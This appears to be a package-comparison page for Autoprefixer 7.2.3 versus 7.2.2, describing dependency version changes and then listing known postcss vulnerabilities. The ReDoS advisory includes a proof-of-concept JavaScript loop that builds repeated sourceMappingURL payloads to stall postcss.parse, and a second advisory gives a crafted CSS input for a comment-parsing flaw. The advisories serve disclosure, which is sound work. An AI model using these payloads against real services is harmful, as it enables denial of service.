Autoprefixer version 7.2.3 represents a minor update over its immediately preceding stable version, 7.2.2, offering subtle yet potentially impactful refinements for developers leveraging this crucial CSS prefixing tool. Both versions share the core functionality of parsing CSS and adding necessary vendor prefixes, streamlining the development workflow and ensuring cross-browser compatibility. Key dependencies like postcss, browserslist, num2fraction, normalize-range, and postcss-value-parser remain consistent, indicating no fundamental shifts in how Autoprefixer handles CSS parsing and prefix application.
The most notable difference lies in the caniuse-lite dependency. Version 7.2.3 utilizes caniuse-lite version 1.0.30000783, while 7.2.2 relies on version 1.0.30000780. This seemingly small version bump within caniuse-lite signifies an updated browser compatibility database. This update ensures autoprefixer correctly identifies which prefixes are needed for the most current browser landscape, guaranteeing a smoother experience for end-users across different browsers, including niche and older ones.
Furthermore, there are slight version differences in the development dependencies (devDependencies): eslint was updated from 4.12.1 to 4.13.1 and fs-extra was updated from 4.0.3 to 5.0.0. While these updates don't directly affect the core functionality for most users, they indicate improvements in code quality linting and file system operations during development of Autoprefixer itself, potentially translating to a more robust and maintainable tool under the hood.
The new version was launched 5 days later than the previous one.
All the vulnerabilities related to the version 7.2.3 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.